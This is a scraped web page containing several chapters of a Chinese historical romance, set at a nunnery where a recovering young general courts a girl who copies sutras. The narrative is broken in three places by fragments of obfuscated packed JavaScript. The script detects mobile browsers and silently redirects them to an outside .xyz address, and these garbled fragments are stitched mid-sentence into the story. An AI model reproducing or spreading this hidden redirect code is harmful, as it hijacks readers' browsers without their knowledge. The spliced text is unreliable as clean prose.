l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279673|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知事堂。她将宋海晏眼部的黑色绸带拆了下来,神情带着一丝审慎,问道:“宋公子,你现在觉得怎样?” 宋海晏也不答话,顺手抄起手中弓箭,搭弓上弦,静仪师太尚未反应过来,那支羽箭已经朝着栖在房檐上的飞鸟疾射而去。 静仪师太大急:“佛门忌杀生,宋公子你……” 一支白色的鸟羽从天空飘飘落下,那鸟儿受到惊吓,扑腾了两下翅膀飞走了。宋海晏哈哈一笑:“抱歉,这些时日没有摸弓箭,一时技痒而已。我知道你们这儿的规矩,所以只是射一支鸟羽解解痒。” 射下一只鸟羽而不对鸟儿造成任何损伤,当然比射下一只鸟更难。 静仪师太松了一口气:“宋公子神乎其技,看来目力是彻底恢复了。只是这些日子还需避光,好生休养。还有,你的腿要彻底恢复大致还需要半个月时间,宋公子若是觉得庵堂不便,回家休养也是一样。” 宋海晏微微笑道:“这里很好,并没有什么不便,既是养伤,总要彻底复原才能放心。” 静仪师太点头:“如此也好。”她又转头看向阿幸,嘱咐她好生看顾病人后离开。 静仪师太离开之后,宋海晏这才转头,看向阿幸。 少女眉如远山,眸似星子,那双漆黑瞳孔似乎笼着晨雾般的清愁。她一身素衣,立在梨花树下,妙常冠飘逸的帛带垂落三尺冰绡,倒映着满树梨花,竟分不清是云是雪。 一袭秀发如帛如瀑,风过时有梨花飘染,簌簌摇落碎琼,沾在她鸦青鬓角,不着铅华,恰如一尊玉色观音。 宋海晏刹那间定住,心跳一瞬间乱了节奏,差点连呼吸都忘了。当少女那双剪水秋瞳朝他看来时,宋海晏突然不敢与之对视,他匆忙低下头,发觉自己手心全是汗。 阿幸见宋海晏双眼复明,心中悬着的大石总算放下。她今日抄经的功课尚未完成,道:“我下午还有事,你自己休息,有事叫我。” 宋海晏见阿幸的身影消失在门口,又出现在菱窗格中,似乎是在抄写什么东西。他也不便相扰,于是从怀中掏出一本兵书来看。 他看了两行字,便不知想起什么,脸上浮现若有若无的微笑。 夕照西倾,暮色渐染。天边斜晖脉脉,似素手轻拂层云,将漫天墨紫金红的华彩揉作一匹鲛绡,自穹庐垂落人间,将满树梨花染成缥缃色。 少年的思绪仍沉醉在不可说的美梦之中,连静慧师太来了又走都没有察觉。直到阿幸在亭中支起一方小桌,叫他过去吃饭,宋海晏恍然梦觉,才发现自己手中那本兵书仍然停留在第一页。 韶光易逝,在他起念动心之间,它们就悄悄溜走。 谁能留住时间,追回那被马车拉走的夕阳,挽住枝头那将坠未坠的梨花呢? 佛曰,不可说,不可说。 9. 第六章 檐下听雨 第二日早上,阿幸早课回来,天上落起小雨。 她推开窗户,雨珠子跌在青石板上,惊起碎琼乱玉。梨花瓣颤巍巍承着雨,雨凝露从瓣尖滚落时,恰似玉盘上滑落的鲛珠,雕花木窗棂上附着的水雾,也染了三分梨蕊的冷香。 她执笔写字的时候,宋海晏推门,从门缝中探出半个头,道:“阿幸,今天下雨了。” 阿幸抬头:“是啊,下雨了。” 宋海晏道:“看来我今天不能去外面晒太阳,你能借我一本书看吗?” 阿幸想起昨日下午她抄经时,他本来是在看书的,道:“你不是带了书吗?” “那些兵书都是我看熟了的,没什么好看的。”宋海晏倚着门框,门外雨声入耳,“落雨梨花,正适合参禅。我母亲信佛,从前总说我杀性重,容易折福,该多读些经书修身养性,增长些智慧,如今倒是机会。” 阿幸将已经抄就的经文顺手给了他一本,继续奋笔疾书。 宋海晏拿了书,并不回自己的房间,而是侧坐在门槛上。他没有翻开佛经,斜对着她,有一搭没一搭地和她说话。 “阿幸,你为什么每日都要抄经?” “这是功课。” “阿幸,你每天抄经,不觉得辛苦吗?” “辛苦。” “阿幸,你们药师庵的比丘尼都要每日抄经吗?” “不是,只有我要这么做。” “那为何别人都不用抄经,唯独你要抄经?”宋海晏支颐看她:“我总觉得你不像比丘尼,对了,为何药师庵的其他比丘尼都没有头发,只有你带发修行?” 这两问实属戳在阿幸的痛处,她抬眸,声音带了些怒意:“你不是要看书吗?不看就还给我……” 宋海晏连忙将经书翻开,但仍不安分,只胡乱翻了几页,又指着书上一处问道:“阿幸,过去之心不可得,现在之心不可得,未来之心不可得,何解?” 阿幸顺口答道:“过去已是过去,所以过去之心不可得。现在之心只在刹那,起念之间已成过去,所以现在心也不可得。未来之心尚不存在,自然也不可得。” 宋海晏摇头道:“这道理不通。” 阿幸道:“如何不通?” 宋海晏一笑:“我昨日在梨花树下坐读兵书,忽然动心起念。我今日在雨檐下读佛经,起得还是同样的心念。” 窗外雨声骤歇。 他顿了一下,“现在雨停了,现在之我,较之方才,已是未来。可我心依旧,一如昨日。可见佛言未必全有道理,只要我心匪石,不可移也,便不分什么过去心、现在心、未来心。” 他这般歪解佛经,阿幸也不生气,只问道:“所以你动何心?起何念?” “这却说不得。”宋海晏看着她,眉眼彻底舒展开来,少年的束发从鬓角垂下,自有一股风流:“一定要说的话,我想就这样坐在这门槛上,和你说话……” “你如果嫌我烦,那只坐着,不说话也可以。” 他果真不再说话,于是小院忽地静了下来。 在这静谧之间,阿幸听到屋檐上的雨顺着瓦檐,一点一点地滴下,砸在青石板上,发出清脆的回响。 阿幸感知到有什么东西出现,又飞快消逝。 她忽想起初见时,少年右颊上惊鸿一现的梨涡;想起那个破碎的陶罐,以及那日午后,少年唇边那一声春鸟啼鸣;想起他叫她阿幸时脸上的笑容。 她想起昨日静仪师太说宋海晏的腿再过半个月就会痊愈了。药师庵从没有已经痊愈的病人继续长留的道理,更何况,宋海晏是个男子。也就是说,最多半个月,宋海晏就会离开了。 檐下,那双燕子已经筑好新巢,正在檐下避雨。她想起与宋海晏初遇那日,庭中梨花一朵未开,而这场春雨之后,梨花大抵会彻底谢去。 她心中突然生出冲动,她想要抓住什么东西。尽管她知道,有些东西是注定留不住的。 譬如朝露。 譬如落花。 譬如屋檐下落下的雨,就算她伸手掬水,最后都会听到砸在石板上的一声脆响。 又譬如,此时此刻,她与宋海晏对坐的一刹那。在她起心动念之间,已成了下一个刹那。 宋海晏仍坐在门槛上,一双眼灼灼地看着她,等她的回答。 忽然,她想要这个刹那更长久一些,于是她说:“那你就在这里坐着吧。” 在接下来的很多天,阿幸早课回来抄经的时候,宋海晏总是在那条门槛上坐着。 他有时看佛经,有时看兵书,有时候打瞌睡,睡醒的时候会用弓箭射路过飞鸟的鸟羽。 也有的时候,他实在穷极无聊,会和阿幸聊天。 说是聊天,大多数时候是宋海晏自说自话。 他说起七八岁时小时候和表兄弟从山洞里捉蝙蝠的趣事;也说起十岁那年,第一次参加龙舟比赛,就独占鳌头的兴事;他会说起十三岁从军时,因为箭术不佳,将父亲的帽子当做靶心射落,差点挨打的糗事;也说十六年那年,他发现有北魏细作潜入中原腹地,他一人一骑追了三百里,辗转五座城,终于拿下人头庆功的乐事。 在这样的日复一日中,她知道了宋海晏的大部分事情。宋海晏出身庐江宋氏,宋家在中原士族衣冠南渡前就世居淮南,以淮水为天险,阻挡胡族铁骑进一步南下。此后,南方王朝数次更替,庐江宋氏始终屹立不倒,奉行王朝正朔。她的祖父萧胥一统南方后,宋海晏的父亲宋寒章早早上表归顺,仍任庐江刺史并封辅国将军,继续镇守淮南之地。 宋海晏的母亲出自江陵名门何家,宋海晏是家中长子,还有弟妹各一人,妹妹今年十五岁,小弟今年方十岁。据他所言,何夫人是一位性情和善、外慜内秀、治家有方的妇人,十分好相处。 他说话的时候,阿幸只是听着,大部分的时候不回答也不打断。仅有一次,他问起阿幸为何要出家,家中可还有什么人,想不想见自己的亲人,阿幸没有回答,眼角怔怔流下泪来。后来,宋海晏便只说他自己的事,再没有问过她的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279674|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只是,有一件连静仪师太都百思不得其解的怪事。 静仪师太每日都会来看宋海晏双腿的恢复情况,一开始她断言宋海晏的腿半个月就可以恢复如初。可到了半个月,宋海晏虽行走如常,但断骨仍有些错位,并未完全长回去。这也不是大事,静仪师太只当他好动了些,恢复慢一点。 不料一个多月过去,竟始终差一点。静仪师太不免责怪阿幸,嘱托她多提醒宋海晏莫要乱动。阿幸觉得冤枉极了,宋海晏每天吃完饭,在她房门口一坐就是一整天,安生得很,还要怎么提醒。 她怀疑宋海晏晚上在房间偷偷练武,便半夜留心听过几次墙角,也趁宋海晏入睡后看过,宋海晏睡觉也很安生,几乎一动不动。但他早上起来,总是揉着自己的腿,说大概是不小心压着了,这腿总好不了。 直到这月庵堂统一换洗褥子的日子,前来拆洗被褥的师姐进入宋海晏的房间,惊讶问道:“宋公子,你床上枕头怎么这么重?” 那位比丘尼拆下枕头下的套子,里面竟然是一块大青石。 宋海晏笑答道:“军中之人睡不惯软的,硬的枕头枕着才舒服哩。” 比丘尼道:“宋公子的癖好真独特,这石头硬邦邦的,竟不怕把脑袋磕破了。”但她也没有多说什么,只是收走了旧的寝具,留下新的就离开了。 她走了之后,阿幸却径直将那块大青石拿到门外,狠狠砸到地上,摔成了两半。 宋海晏大急:“阿幸,你这是干什么?” 阿幸不说话,她跌坐在地上,泪水从两颊涌落下来。 她知道宋海晏的腿一直没有好的秘密了。她几次晚上看他时,他睡觉并不用枕头。那块大青石并不是用来枕的,而是宋海晏用来压腿的。他睡觉时用腿压着伤处,所以早上起来总是喊着腿疼,腿上的毛病始终无法彻底恢复。 她想抓住某些正在流逝的东西。 宋海晏也一样。 他不愿意彻底好起来,这样他就没有理由留在这里了。 宋海晏见她突然落泪,大为惶急:“阿幸,你怎么了?我……我……” 他连说几个“我”字,后面却什么也没有说。有些话,没办法说出口。有些事,并不需要解释。 阿幸已经站了起来,她用袖子拭去眼泪,平静地道:“宋公子,其实现在的你已经不需要人照顾了。没有这块石头,几天后你就会好。耽误了宋公子养病,是我的失职。我今天下午就搬回从前住的禅堂去。” 她回到自己的房间,关上房门,开始收拾自己的东西。 其实有什么东西可以收拾呢? 她唯一拥有的陶罐已经摔碎了,不过一些随身的衣物和没有抄完的经卷而已,来来去去,都是孑然一身。 檐下的燕子已经飞走,留下空巢。 梨树上挂着青色的果子,这个时节,大约都是涩的。 她想要带走的东西,从不属于她,永远都带不走。 她不想留下的部分,却大概会永远留在这里。 10. 第七章 感此衷肠 暮春的天气让人捉摸不定,阿幸推门而出时,天忽地阴了下来。紧接着,空中响起一声闷雷,风急促地卷起地上的残花落叶,一场雨即将倾泻而下。 宋海晏站在房檐下,他脸色苍白,一双眼睛像是被乌云遮蔽的星辰,黯淡不见光彩,嘴唇嚅动着,似乎想要说些什么。 阿幸避过他,朝大门走去。才踏过门槛,便迎头撞上一人。原来是静慧师姑拿着食盒过来,见到她提着包袱,问道:“阿苦,你去哪儿?” 阿幸停步,不好说她和宋海晏之间的事,只道:“师姑,宋公子的身体差不多好了。他行走自如,已不大需要人特意照顾。我若继续住在这里,瓜田李下,毕竟惹人猜嫌,我想搬回我原先住的禅院去,正要去与师父禀明此事。” 静慧师姑现出为难之色,道:“阿苦,前日寺里来了新的沙弥尼。因你那间房空着,就安排她先住进去了,如今禅院并无空余的屋舍。主持的意思是等宋海晏伤好离开,你就先在知事堂住着,反正你时常要抄经,此处清静,也省得搬来搬去的麻烦。” 阿幸愣在原地,她想避开宋海晏,竟也避不了吗? 静慧师姑看了看天色,将食盒塞给她,道:“要下大雨了,我得走了,你们先吃饭吧。你若是不愿意住这儿,非要搬回禅院去,也得等明日再说。” 静慧师姑匆匆离去,阿幸拎着食盒回到檐廊之下时,大雨已劈头盖脸地噼啪砸下。 檐角铜铃在狂风中叮咚作响,宋海晏仍然立在房檐下,玄色衣角被风掀起又落下。他没有抬头看她,而是垂眸望着青石砖上洇开的雨痕,道:“对不起,这一个月是我打扰了你静修。请容我多住一日,明日一早我就离开。” 阿幸没有多说什么,只点了点头。既然走不成,宋海晏肯自己离开,已是最好的结果。 晚饭之后,阿幸点起灯火,继续抄写经文。如今距离韩常侍定下的时间还差七天,她还余下不少经书没有抄完,少不得挑灯夜战。 她研好墨,提笔刚写两个字,便觉手掌抽搐发痛。在烛火下一照,虎口处竟裂出几道口子。仔细忆起来,应是日间摔那大青石时过于用力,以致虎口受伤。 她自己去耳房找了些金疮药,又用纱布将伤处缠好,继续抄写《金刚经》。 外面雨势不减,骤雨将青瓦敲成玉磬,寒气裹着水雾漫过窗纱,在烛台周围凝成游丝般的白烟。她重新提笔,勉力又写了两行,那疼痛不仅未曾稍减,反而从裂开的虎口钻进筋络,在骨头之间游走,整只右手顿时传来碎瓷剐肉般的锐痛,她忍不住“嘶”了一声,呼道“好疼”。 她握不住笔,手心一松,羊毫坠落地上,发出一声极低的闷响。她顾不上拾笔,用左手撑着桌子,靠着墙角,想等着那阵疼痛过去——她自小抄经,手腕劳损,以致积成筋痹之症【1】。一遇疲累,或疏于调养,常常发作起来,疼痛不已。若遇下雨,寒气袭人,痛意更甚一层。 今日不巧,竟什么都赶上了。 她静静捱着时辰,窗外忽然传来宋海晏的声音:“阿幸,你怎么了,我刚才听到你的声音,你是不是哪里不舒服?” 阿幸一慌,忙道:“没有,你听错了。我没事,你去睡吧。” 宋海晏并不信:“我绝不会听错,你刚才明明说‘好疼’,你受伤了?” 阿幸想起这人原是做斥候出身,最是耳尖目明。在这寂静暗夜,不管发生了什么,休想瞒过他去。想了想自己没有抄完的经书,和仅余七日的期限,她终究叹了一口气道:“宋公子,请你进来,帮我一个忙。” 宋海晏推门而入,烛火因风摇晃,映着少女的惨白面容。他脚步一顿,还未来得及说话,阿幸已走到榻边,从枕下翻出一套针囊,用左手拿出几根金针来,问宋海晏道:“你认得穴吗?” 宋海晏点头。 阿幸将金针递给他,在榻上坐下,扯开右手缠着的纱布,露出整只手掌。她的右手因为常年抄经,指骨弯折,长着许多老茧,又因为虎口开裂,更显支离瘦损。 阿幸说道:“你用金针依次刺我右手手掌阿是、合谷、阳谷、列缺、阳池、外关、阳溪七穴。” 从前她筋痹之症发作时,都是师父静仪师太为她施针。雨夜不便,她也不能自己给自己扎针,便只能仰赖宋海晏能顶点用了。 宋海晏拿着金针,却久久不动, 她抬头,见宋海晏咬着嘴唇,看着她受伤的右手。那张脸满是悔恨与懊恼,脸色竟似比她还苍白数分,握着针的右手微微颤抖。 她忍不住道:“宋公子不必自疚,我右手素有筋痹之症,只是今夜刚好发作而已。” 宋海晏终于上前一步,单膝跪在榻前,问道:“怎么刺?” “合谷穴刺三分。”阿幸道。 “好。” 宋海晏用左手托住她的右掌,金针刺入皮肤的瞬间,他看见她睫毛剧烈颤动,却将呜咽生生咽回喉间。冷汗顺着下颌滴落,在素色衣襟上洇出深色的花。 宋海晏心尖一颤,那金针分明是扎在她的手上,却在他心间弥起刺痛。他别过头,不敢再看她的神色,疼痛却叫他愈加清醒,执针的手稳如磐石,依次刺过其他几处穴位,分明是短短数息便完成的事,他却觉得好像过了一整夜那么漫长。 “好了。” 行针完毕,两人一坐一跪,再无对答。在如此静夜中,彼此的呼吸和心跳声清晰可闻。 男子的呼吸沉浊,心跳沉着有力,响如擂鼓,像奔行的重蹄踏过凛雪的荒原。女子的呼吸极轻,微弱几至于无,间或夹杂着几缕游丝般的喘息声。檐雨滴答,宋海晏的心跳开始与阿幸的喘息追逐纠缠。她吐气时如秋蝉振翼,他便在胸腔应和两声闷雷;她吸气时似雪落枯荷,他竟连 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“宋公子,这件事情跟你没关系,你若是伤好了,明日就赶紧离开。沙门有一句话,出家人不管世间事,反过来也是一样。宋公子是尘世之人,我的事情与你无关。” 阿幸胸口起伏,指着门口:“宋公子,我的手已经无碍。如此深夜,你留在我房中,极是不妥,请你出去——” 她这般下逐客令,宋海晏依旧一动不动,眸中满是痛惜,嗓音含着无限哀怜,“可是,阿幸,我怎能看你受苦?” 这句话再一次刺激到阿幸敏感的神经,她不可抑制地大怒起来。 “我不叫阿幸,我本来就叫阿苦。”她怒中带笑,笑中含泪,大声道:“宋海晏,你以为改了名,就能改命吗?你根本改变不了我的命运,我也根本不需要你高高在上的怜悯。我不想看到你,你现在就走,明天就离开这里,再也不要回来——” 可宋海晏依然未动,他怔怔地看着她。 那是怎样的一双眼睛啊——深邃的眼神中,盛着哀悯、爱怜、痛惜、不舍、懊恼、愧疚,难过,还有不知所措。在这复杂的底色中,还隐隐透着一丝她看不明白的暗光。阿幸从未料到一双眼睛竟能表露出如此复杂的情绪。这样的眼神,只多看一眼就让人心头发颤。 宋海晏向前一步,在他抬眸的时候,阿幸懂了那暗光是什么——那是少年的执着,一颗居于晦暗长夜也向着光明的心,所以不管她如何拒绝,他还是朝要她再走出一步。 “不要再往前了——” 阿幸再无法忍受那双眼,她将心一横,抽出静慧师姑留给她的匕首,横于自己颈前:“宋海晏,孤男寡女深夜同处一室,不免有瓜田李下之嫌。你还不走,是要我以死来证清白吗?” 宋海晏终于停下脚步。 11. 第八章 去而复返 门被从外面带上,脚步声逐渐远去,静夜里再无一丝声响。 阿幸放下匕首,瘫坐在地上,只觉全身再无一丝力气。她缓了许久,才重新拿起纸笔,忍痛抄完一卷经书。她全身疲乏,沾塌就沉沉睡去。 第二天起床时,见隔壁的房间已无一人,床榻收拾得极整齐,一点东西也没有剩下。看来宋海晏果然信守承诺,已经离开了。阿幸松了一口气,然看着空寂的庭院,心中渐浮起淡淡的怅惘来。 早课之后,她继续抄写经文,直到中午时分。她忽然觉得有些昏昏沉沉,一触额头,竟是烫得惊人,想来应是昨夜抄经受凉所致。 她的医术乃静仪师太亲传,处理这等风寒之症不在话下。因知事堂离别的院子远,也懒于将此事告诉管事的师姑,便自己到耳房取了几味药材,煎好后服下。宫中要求的时限将近,她顾不着病体,继续抄写经文。 到下午申时许,终于又抄完一卷。她头晕目眩,额头愈发灼烫,便想挣扎着起身,再次去耳房煎药,不料手脚乏力,一下子晕倒在地板上。 她醒来时,发现自己竟然躺在静仪师太的房间。 静仪师太守在床边,眼眶通红,目光中带着一丝怜悯,见她醒来,舒了一口气,道:“孩子,你受苦了。你晕倒在知事堂,幸亏静慧师姑见你没有参加早课,过去察看,才发现你竟然病了,将你送到我这里来。你昏睡了整整三天,阿弥陀佛,今日总算醒了,要是你出了什么事,为师怎么向你的母亲交代……” 阿幸听自己这一觉竟睡过去三天,内心悚然,从床上跳起:“坏了,我的经书还没有抄完,我得回去……” 她实在是怕了,若是韩忠到时无法交差,宫中就会下旨申斥。而作为她“用心不专”的惩罚,下次的功课会更重。 静仪师太将她按住,道:“你身体还很虚弱,不要着急起身。经书的事情你不用操心,会有人替你完成。” 阿幸微微蹙眉,眼中闪过一丝迷茫——抄经一事是圣命,圣命既然是让她抄经,断然没有找人代抄的道理。若是被人查出,就是欺君的大罪,又有谁敢相替? 静仪师太叹了一口气:“你病了,无法在期限内完成,这也是无可奈何之事。你放心,那人写的字和你一模一样,韩常侍定然察不出端倪……” 阿幸更疑惑了:“那抄经之人是谁?” 静仪师太答道:“是宋公子,他见你病着,说这一个月蒙你照顾,自告奋勇替你抄经。为师见时限已近,若是韩常侍来时见经书不足数,告到御前免不了一场风波。阿弥陀佛,这也是一桩善事,佛祖谅也不至于怪罪,为师便允了他。” 阿幸一口气哽在喉头:“宋海晏他又回来了?” *** 时间回到四天之前。 当宋家的下仆陈伯见到宋海晏从药师庵大门走出时,内心一阵激动。 一个多月前,他奉宋家主母——宋海晏母亲何夫人的命令,送宋海晏到药师庵养伤。 何夫人笃信佛教,其心至诚,每年逢佛诞节、盂兰盆节、成道节等日,都会到庙里进香。这药师庵她也常来,每次都会撒上大把的香火钱,或送上些珍贵药材,供药师庵治病救人用,积下偌大功德。 陈伯见了静仪师太后,当即奉上何夫人的书信。静仪师太见信之后,又看了宋海晏的伤势,当即命人将知事堂洒扫一番,让宋海晏居住。药师庵素来不留男客,看在何夫人的面子,为宋海晏一人破例,陈伯并不被允许留下。 他只好在附近的鸡鸣镇找一家客栈住下,算着宋海晏康复的日子近了,每日早上驾着马车到药师庵门口等着,到午时,若宋海晏没有出来,再驾车回去。历经一个多月,见宋海晏果真完好无缺地从药师庵走出时,心情极畅快。何夫人最宝贝这个儿子,他这趟差事完成得好,自然少不了赏赐。 他连忙将宋海晏请入马车,道:“这药师庵传下的医术果然名不虚传,公子如今伤势痊愈,夫人必定欢喜,属下这便驾车送公子回庐江去……” 宋海晏靠在车壁上,笑道:“倒也不必如此着急,离家一个多月,怎么能空手回去?你这段时日在此,可知道这附近哪里有集市,我想先去给母亲、小妹以及家中的几位表兄弟买些稀罕礼物,让大家也欢喜欢喜。” 陈伯想了想道:“这也使得。属下这一阵住在附近的鸡鸣镇,这鸡鸣镇不大,并无多少店铺,但我听人说鸡鸣镇往西二十里路,有一座江宁县城,热闹极了。公子若是要买礼物,到那儿正合适,只是这一来一回,恐怕要多耽搁两日。” 宋海晏道:“如今又无战事,回去也是闲着,多耽搁两日有什么打紧。我们便先去江宁。” 江宁城池不大,但往来商贾众多,市集甚是繁华。宋海晏在江宁逛了整整一日,买了许多东西,将马车塞得满满当当的,又到马市上买了一匹马。 陈伯见那马品相一般,劝道:“公子,如今已有马车了,又买马作甚?而且这里能有什么好马,仔细摔了。您要骑马,家中有的是好马。” 宋海晏道:“这马车里物什太多,坐着连腿都伸不开。我这一个月在那庵中,每日就是坐着卧着,差点憋死。好不容易出门,难道还要继续憋着。陈伯,我在沙场上纵马惯了,您还怕我摔下马背不成?” 陈伯劝不住,只好由他。谁知两人离开江宁,驶上官道不久,林中忽然出了一只兔子,那新买的劣马受了惊,竟然将宋海晏从马背上甩了下来。 陈伯下车验伤时,见宋海晏大腿处一大片淤青,宋海晏连连呼痛,说自己的腿多半是折了。又说一事不烦二主,让陈伯驾车,再将他送回药师庵去。 陈伯心情郁卒,若是让夫人得知,他在送宋海晏回家的路上,没有劝住这位主子,让他又受新伤,恐怕不但没有奖赏,反而要落下不小的埋怨,却也无法可想,只能依他之意,再将他送回药师庵。 静仪师太虽然诧异于宋海晏去而复返,听说他坠了马,也不敢轻忽,仍让他回知事堂住着,又拿了些治疗跌打损伤的膏药给他。 至于车中的物什,宋海晏独留下一只不起眼的陶罐。他写了一封信,遣陈伯将书信和车中的礼物一起带回给自己的母亲,说自己伤势并无大碍,伤愈后会自己回家。陈伯无法可想,只好自己回庐江去了。 *** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279676|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿幸在静仪师太房中将养了两日,到第三日仍回知事堂去住。 她推开知事堂的大门,阳光如薄纱般洒落,庭院中一片静谧。老梨树的枝叶在微风中轻轻摇曳,斑驳的光影在地面上跳跃,仿佛无数细碎的金箔。宋海晏依旧坐在那棵老梨树下,背靠树干,一条腿随意屈起,另一条腿舒展在地,姿态闲散而自在。 他手中拿着不知从何处折来的新鲜柳条,像是编织着什么东西。见她进来,眼睛一亮,笑容也随即绽放开来:“阿幸,你回来了。” 阿幸站在门口,微微一愣。宋海晏的笑容在阳光下显得格外清澈,他好像全然忘了那天晚上两人之间的不愉快,似乎他从没有离开过,一直在这里等她回来。 她向他走近,问道:“我听说你从马上摔了下来,伤势如何?” 宋海晏眼尾微微上扬,语气带了几分俏皮:“哦,没什么大事,只是大腿青了一块。这次是我失算了,那畜生性子野,不惯人骑它,真是时运不济,流年不利,出门没看黄历……” 他说的话阿幸一个字也不信。宋海晏在军中多年,若是劣马良马都辨不得,随随便便能被从马背上甩下,只怕早就死在了战场之上。再者,他坠马却无大碍,只留下一片瘀青,多半他对坠马一事早有预设,提前护住关键部位而已。 什么失算?分明是有意为之。 他为什么绕这么一个大圈子又重新折回,当然是因为脸皮太厚,想赖着不走。她心中百折千回,千言万语不知该如何说起。 她恼恨他如此不自惜自爱,好生生地又将自己弄出些伤来。 可她又怎能欺骗自己,看他又坐在这棵梨树下,她内心最幽微荒芜之处,那曾被她死死按下去的种子又违背她的意志,重新破土而出,挠动她的心口,带来喜悦和欢腾。 她上次强行逐他离开,已是用尽了全部的力气,又如何能开口再说出一些伤人的话来。她最终将那些话咽了下去,目光落在他手中的柳条上:“你在编什么东西?” 宋海晏低头看了看手中的柳条,笑意更深了几分,道:“你猜?”他的手指修长而灵活,正专注地将一根根嫩绿的柳条交错编织,动作轻盈而娴熟。柳条在他手中仿佛有了生命,随着他的指尖轻轻翻转、缠绕,逐渐形成一个精巧的圆形底座,柳条继续向上攀缘,枝条穿插,形成一个圆润的碗状。 阿幸心动一动,“难道是个鸟窝?” “聪明。”宋海晏笑道:“我今天早上起来,看到房檐上有斑鸠在叫,爬上去一看,原来是它们的巢不知何故翻了,雌鸟也不知所踪,只剩下四只小小斑鸠,叫得可怜,所以我寻思给它们重新搭个巢。你看——” 他伸出宽阔的袖摆,阿幸果然见到四只羽毛都没有长齐的小鸟头挨着头窝在里面,见到生人,一起咕咕噜噜地鸣叫起来。 “咕……咕咕……”宋海晏学着斑鸠的叫声,一边轻轻抚摸小斑鸠们的脑袋,道:“咕咕……新窝马上就做好了,咕咕……咱们马上就有新家了……咕咕咕,咕咕咕……” 他一会作人语,一会作鸟语,阿幸终究忍俊不禁,噗嗤一声笑了出来。 12. 第九章 爱恨嗔痴 宋海晏编好鸟窝,又寻了些薪草垫在下面,才小心翼翼地将四只小斑鸠放了进去,再捧着鸟窝放到老梨树的枝杈之间。 他拍了拍衣摆,扫了扫身上新沾的柳叶,自觉大功告成。四只小斑鸠张着大大的嘴巴,一起朝宋海晏“咕咕咕咕”地叫着。甚至还有一只不安分地扑腾着,掉在了宋海晏的肩膀上。 宋海晏将小斑鸠托在掌中,流露出不解的神情:“难道我编织的鸟窝住着不舒服吗?” 阿幸忍不住笑道:“宋公子,兴许是你的叫声太像斑鸠了,它们将你当成母亲,在问你要虫儿吃呢。” 宋海晏挠头:“它们要吃虫?” 阿幸道:“这是当然,这么大的斑鸠羽毛还没有长齐,还不会自己捕食,如果没有母亲喂食,就算有遮风避雨之所,它们也活不下去。” “原来他们是饿了,这事简单——”宋海晏说是受伤,身姿依然矫健,轻轻一跃便跃跳房檐,爬上了那棵大槐树,在大槐树的枝桠间攀爬穿梭,等他从树上下来时,已经用布巾囊了一拳头那么多的虫子。 他将虫儿一股脑倾倒在鸟窝中,四只小斑鸠你啄一只、我抢一口,没一会,那些虫儿都落入鸟肚中,落得个尸骨无存的下场。 宋海晏忽又想起什么,问道:“阿幸,上次静仪师太说你们佛门忌杀生,我抓了这些虫儿喂给小斑鸠,是不是犯了你们的忌讳?” 这个问题倒将阿幸给问住了。 《大般若经》记载佛陀割肉喂鹰的本事,说佛祖于未得道前,忉利天天主为证释迦牟尼佛是否真的行菩萨道,化为老鹰追赶一只鸽子,鸽子惊慌飞跑,逃进释迦牟尼佛的怀抱。老鹰对释迦牟尼说:“这只鸽子是我的猎物,应该还给我,不然我就会饿死。你同情这只鸽子,难道你就不同情我吗?”佛祖为救鸽子,割下自己的肉来喂鹰。他拿出天平,将鸽子放在天平的一边,将自己身上的肉割下放在另外一边,要将重量相等的肉喂给老鹰,以示公平。可不论释迦牟尼如何割肉,天平都不能相等。直到佛祖舍命以全身上秤,才与鸽子的重量相等。 这个故事既传递了佛陀的慈悲,也讲说了众生平等。不论佛陀、鸽子还是老鹰,他们的生命都应是相等的。 以佛法而论,虫豸与斑鸠的生命应该相等,抓虫饲鸟,有违佛法真意。 可她知道,众生并不平等。人都有偏爱之心,就如同他的祖父偏爱她的哥哥,薄待于她。宋海晏偏爱于斑鸠,所以并不顾惜虫豸的生命。 上位之人,一念之间便可决定下位者的生死,但也不可称之不仁。 她合十,行了一个佛礼,道:“宋公子心怀慈悲,见斑鸠失去母亲而养之。虽然违背佛法之意,却也救了这四只小斑鸠的命,功过恰好相抵。” “功过相抵么?”宋海晏嘴角勾起一抹不羁的笑,他眨了眨眼睛,眼神中闪过一丝狡黠,像变戏法一样,从宽大的衣袖里慢慢摸出一只小陶罐来,他将小陶罐轻轻托在掌心,向前一递,说道:“我从前起了坏心,损了你一只陶罐。如今原物奉还,也算得上功过相抵吗?” 阿幸侧眸看去,眼睛几乎定住。那只陶罐呈红褐色,造型极为古朴,圆溜溜的肚子,窄窄的罐口,表面还带着一些细微的、不规则的纹路,看起来还有几分老旧,与她摔碎的那一只几乎一模一样。 虽然这并不是原先的那一只,然旧物失而复得的心情仍让她热泪盈眶。她接过陶罐,小心摩挲着上面的纹路,问道:“你是从何处得来?” 那只陶罐在破损之后,碎片被她埋了。那时,宋海晏目力未复,根本不应该见过这只陶罐的样子。 